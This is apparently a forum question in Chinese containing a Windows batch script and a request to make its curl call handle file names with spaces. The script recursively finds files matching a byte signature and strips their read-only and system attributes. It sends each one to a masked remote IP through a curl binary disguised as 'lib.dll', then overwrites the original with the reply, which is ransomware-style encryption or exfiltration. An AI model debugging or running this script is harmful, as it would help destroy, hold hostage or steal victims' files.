for /r %%a in (*) do (
if not "%%~nxa" == "%~nx0" (
set "filename=%%a"
< !filename! (
set /p "line="
)
set "substring=!line:~1,10!"
set "noSpacesString=!substring: =!"
set bytesToMatch=xxxxxx
if "!noSpacesString!" equ "!bytesToMatch!" (
echo %%a
attrib -r -s "%%a" && lib.dll -F "encrypted=@\"%%a\"" -X POST "http://xxx.xxx.xxx.xxx/api" --output "%%a"
set /a count+=1
)
)
)
代码是上面这个 现在发现文件名中带有空格的时候curl报错 有什么方式兼容吗